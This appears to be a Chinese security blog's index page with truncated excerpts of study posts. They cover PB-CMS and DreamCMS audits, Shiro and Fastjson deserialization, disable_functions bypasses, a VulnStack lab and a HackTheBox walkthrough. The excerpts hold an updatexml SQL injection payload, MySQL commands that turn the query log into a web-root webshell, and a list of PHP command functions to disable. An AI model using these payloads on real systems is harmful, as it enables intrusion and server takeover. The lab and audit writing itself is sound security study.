PB-CMS代码审计学习
前言好久没更新博客了,感觉学到后面不懂的东西更多,通常学一个东西为了理解它就要学更多的东西,所以越来越不想更新博客了。。。
环境项目地址:https://gitee.com/LinZhaoguan/pb-cms/tree/v1.0.0/
shiro反序列化漏洞直接来看pom.xml文件,搜到shiro1.4.1版本,采用的加密模式还是AES-CBC,从1.4.2版本开始采用的是AES-GCM所以直接拿工具一把梭即可然后命令执行在这里1.4.1版本其实shiro550不能打,打shiro550版本要小于1.2.4。但是在shiro反序列化漏洞修复的时候如果仅对shiro版本升级而没有重新生成密钥那么AES加密的默认密钥硬编码仍然会在代码里面,就会同样存在反序列化风险,这里去看看是否存在确实存在,位置在src/main/java/com/puboot/common/config/ShiroConfig.java搜了一下这里怎么生成一个新的shirokey,可以利用官方提供的方法生成一个
123456789101112131415161718import org.apache.shiro.c ...
disable_functions绕过总结
黑名单绕过(常规手段)这个绕过就是利用黑名单之外的函数去执行命令,但是我在测试这个黑名单绕过的时候发现了一个很迷惑的点,在Windows下我禁用了eval和system函数hackbar确实不能执行system函数了但是蚁剑上面任然可以命令执行另外eval函数也任然可以执行岂不是相当于禁用eval函数没用??这个时候的php版本为5.4.45,然后是Linux下的测试,我也禁用了eval、system做测试,eval函数照样正常执行然后尝试system函数然后尝试用以蚁剑去执行命令蚁剑还是可以正常执行命令,然后我再网上找了一下经常禁掉的函数全部加上去
1exec,passthru,popen,shell_exec,proc_open,proc_terminate,curl_exec,curl_multi_exec,show_source,touch,escapeshellcmd,escapeshellarg,eval,system
此时蚁剑无法正常命令执行了然后我在Windows下也加上那一堆函数,然后蚁剑此时也无法正常命令执行了然后把system放出来之后可以正常执行命令,此时就猜测 ...
梦想CMS 1.4代码审计学习
一些审计方法对于未公开POC的1day复现,直接看cnvd的提交,我们这里审计梦想CMS 1.4所以直接搜索就行可以看到很多,虽然文件名未全部显示但是就那几个文件,显示了大部分字母就能找到了,这是复现1day的方法,当然也可以直接拿最新版本审0day
BookAction.class.php下sql注入这个系统是个MVC架构,emmm不太了解得找时间学学了,不然代审有点难,先来看下这个文件下的注入在reply方法下GET接收一个id直接跟进getReply看看找到底层的sql语句,最终在db.class.php找到可以看到直接拼接了field即一开始的id,而且这个整个项目的sql调用都在这个文件,但是这个底层的sql调用没有做预编译,那么你就得在用的时候去写这样就很容易遗漏出现sql注入,在这里打印一下sql语句方便调试,来到这个BookAction.class.php文件下进入reply方法传个id直接闭合一下,这里得用)闭合,从sql语句即可看出,然后用报错注入注一下版本,payload如下
1id=1) or updatexml(0,concat(0x7e,version()) ...
Fastjson1.2.62-1.2.68绕过
1.2.62漏洞分析前言学的过程发现有些依赖导入真的慢,所以这里直接把整个pom.xml贴出来可以一次性导完算了,看自己选择
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112<dependencies> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> ...
Fastjson1.2.25-1.2.47绕过
1.2.25 修复分析首先导入1.2.25版本的修复吧,在pom.xml中导入对应版本
12345<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.25</version> </dependency>
运行一下TemplatesImpl这条链发现存在之前没有的报错调试一下发现来到了下面这里在1.2.24版本中这里是直接调用了loadClass如下图而在1.2.25里是调用了checkAutoType进去看看这个方法干了什么,这里白日梦组长根据流程画了一个流程图如下,手工复制可能会有些错误在checkAutoType中通过黑(denyList)白(acceptList)名单对类进行检验这里白名单默认为空,可手动添加,黑名单默认不为空,在默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList, ...
Fastjson1.2.24利用链分析
环境pom.xml依赖如下
1234567891011121314151617181920<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version></dependency><dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version></dependency><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</ar ...
Java反序列化之Fastjson入门篇
FastJson简介Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,以其特有的算法,号称最快的json库,用于将数据在 JSON 和 Java Object 之间互相转换。提供两个主要接口来分别实现序列化和反序列化操作。JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程
通过代码简单了解首先导入依赖
1234567<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies&g ...
VulnStack--01
环境搭建win7需要通外网,所以需要两张网卡,然后win7需要ping通kali、win2003、win2008然后开启win7的PHPstudy就行了,但是这里有个很疑惑的点就是win7可以ping通其它的机器,但是反过来就ping不通很奇怪,访问web服务又是正常的。。。
外网渗透nmap先扫一波开放了80和3306端口,先去看看80,是一个php探针,MySQL检测那里直接尝试root/root连接成功接着直接访问phpmyadmin利用弱口令登录成功,网上看了看这个版本可以利用日志getshell,查看日志是否开启
1show variables like 'general_log';
未开启,那么直接开启它
1set global general_log=on;
更改日志文件路径,创建日志文件,这个路径就行从PHP探针那里得到的
1set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
然后往日志文件写入一句话木马
1select '<?php @ ...
HacktheBox--Gofer
信息搜集nmap扫描开放端口然后配置etc/hosts
1echo "10.10.11.225 gofer.htb" >> /etc/hosts
接着访问这个域名没啥发现,然后用dirsearch做了个目录扫描也没发现啥这个assets看了下没啥东西就存放了些前端的一些静态文件,到这里完全没思路了,猜测问题可能就在下面这个邮箱这里,但是不知道怎么利用后面看了完整的视频教程,竟然是通过钓鱼来反弹shell,并且利用smbclient获取到提示之前都不知道这个方法,第一次玩hackthebox的靶机确实想不到其实这里还有个子域名但是dirsearch扫不到,应该是自带里面没有就是proxy.gofer.htb可以通过ffuf来扫,这个工具kali自带了,但是那个字典指定我没找到自带的字典位置这里就不扫描了大概命令如下
1ffuf -u http://gofer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -H "Host ...
Java学习之Shiro721
环境这里我直接用的Drunkbaby佬的环境,自己搭建失败了,淦
漏洞原理在Shiro721漏洞中,由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle Attack来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
虽然使用Padding Oracle Attack可以绕过密钥直接构造攻击密文,但是在进行攻击之前我们需要获取一个合法用户的Cookie。
漏洞利用条件漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:
开启 rememberMe 功能;
rememberMe 值使用 AES-CBC 模式解密;
能获取到正常 Cookie,即用户正常登录的 Cookie 值;
密文可控;
复现漏洞这里先正常登录,然后抓个登录后的包,这里还是和之前一样得用自己的IP才能抓到然后利用y ...
Java学习之Shiro550
环境
jdk8u65
Tomcat8
shiro 1.2.4漏洞影响版本:Shiro <= 1.2.4环境具体的配置参考:Java反序列化Shiro篇01-Shiro550流程分析 | Drunkbaby’s Blog (drun1baby.top)
shiro-550分析哎,终于到了shiro,虽然很少遇到这个漏洞但是这个还是挺重要的抓个登录的包,勾选 RememberMe 字段可以看到这个cookie明显是通过加密的,那么就去分析一下这个cookie的生成过程,idae里面按两下shift可以输入cookie然后会把和cookie这个名字有关的类列出来,最终我们找到了CookieRememberMeManager类中的 getRememberedSerializedIdentity()方法这个方法先判断是否为http请求,如果是则会获取remember me的cookie值,然后判断是否是deleteMe,不是则判断是否是符合 base64 编码,然后再对其进行 base64 解码,将解码结果返回,那么往上找谁调用了这个方法找到了AbstractRememberM ...
Java学习之CommonsBeanUtils1
环境jdk8依赖如下
1234567891011121314151617<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency& ...